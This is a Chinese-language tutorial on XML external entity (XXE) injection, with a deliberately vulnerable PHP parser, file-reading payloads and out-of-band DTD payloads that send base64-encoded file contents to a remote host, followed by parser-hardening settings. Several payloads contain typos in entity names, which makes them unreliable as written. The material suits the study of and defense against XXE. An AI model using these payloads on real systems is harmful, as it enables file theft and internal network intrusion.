XXE漏洞分析

XXE 基础

XXE 漏洞全称 XML External Entity Injection,即 XML 外部实体注入漏洞,XXE 漏洞发送在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可能加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起 dos 攻击等危害。XXE 漏洞触发点往往是可以上传 XML 文件的位置,没有对上传的文件进行过滤,导致解析恶意 XML 文件。

如 PHP 中的以 simplexml_load 开头的函数默认会解析外部实体,有 XXE 漏洞的标志性函数为 simplexml_load_string()

XML实体分为四种:字符实体,命名实体,外部实体,参数实体,如下

命名实体写法

读取本地文件:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///c://test/1.txt">
]>
<value>&xee;</value>

XXE + SSRF, proxy.php 可以是外带通道(当没有回显):

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "http://zzzsdust.com/proxy.php" >
]>
<value>&xee;</value>

命名实体 + 外部实体

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY dtd SYSTEM "http://zzzsdust.com/evil.dtd">
]>
<value>&dtd;</value>

命名实体调用外部实体中,evil.xml 不能定义实体,否则不能解析,比较鸡肋,参数实体好很多

命名实体 + 外部实体 + 参数实体

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY % romete SYSTEM "http://zzzsdust.com/evil.dtd">
%romte;%all;
]>
<value>&send;</value>

evil.dtd 内容为:

<!ENTITY % file SYSTEM "file:///c:/test/1.txt">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://www.zzzsdust.com/record.php?file=%file;'>">

命名实体 + 外部实体 + 参数实体

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY % romete SYSTEM "http://zzzsdust.com/evil.dtd">
%romte;%all;%send;
]>
<value></value>

其中 evil.xml 内容为:

<!ENTITY % file SYSTEM "file:///c:/test/1.txt">
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://www.zzzsdust.com/record.php?file=%file;'">

因为实体的值中不能有 %, 所以将其转成html实体编码 &#37;

XXE 攻击利用

准备一个有 XXE 漏洞的文件:

<?php
$xml = file_get_contents("php://input");
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
$data = simplexml_import_dom($dom);
print_r($data);
?>

XXE 利用主要有:

  • 任意文件读取
  • 内网信息探测(端口、web 指纹识别)
  • DOS 攻击
  • 远程命令执行

POC 主要有:

file:///path/to/file
http://url/file
php://filter/read=convert.base64-encode/resource=conf.php

不同程序支持的协议不同:

任意文件读取

分为有回显和无回显,有回显如下:

Payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///var/www/www/1.txt">
]>
<value>&xxe;</value>

无回显有两种方式,如下:

第一种:

Payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [ 
<!ENTITY % remote SYSTEM "http://www.zzzsdust.com/evil.dtd">
%remote;%int;%send;
]>

evil.dtd 内容为:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/www/1.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://www.zzzsdust.com:8080?p=%file;'>">

第二种:

Payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [ 
<!ENTITY % remote SYSTEM "http://www.zzzsdust.com/evil.dtd">
%remote;%all;
]>
<value>&send;</value>

evil.dtd:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/www/1.txt">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://www.zzzsdust.com:8080?p=%file;'>">

注意事项:最好将读取文件的那个实体定义放到 dtd 中,我参考的博文均放到 payload 中了,但根据参考博文没有复现成功。后来放到 dtd 文件中复现成功,具体原因不明。 : )

内网信息探测

我们可以先利用 file 协议读取目标服务器的网络配置文件,看一下有没有内网,以及网段大概是什么样子(以linux 为例),可以尝试读取 /etc/network/interfaces 或者 /proc/net/arp 或者 /etc/host 文件,之后可以写脚本测试。

防御措施

  • 禁用外部实体引用
  • 过滤用户提交的 XML 数据

禁用外部实体引用的方法:

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))


参考链接:

    标签:
  • XXE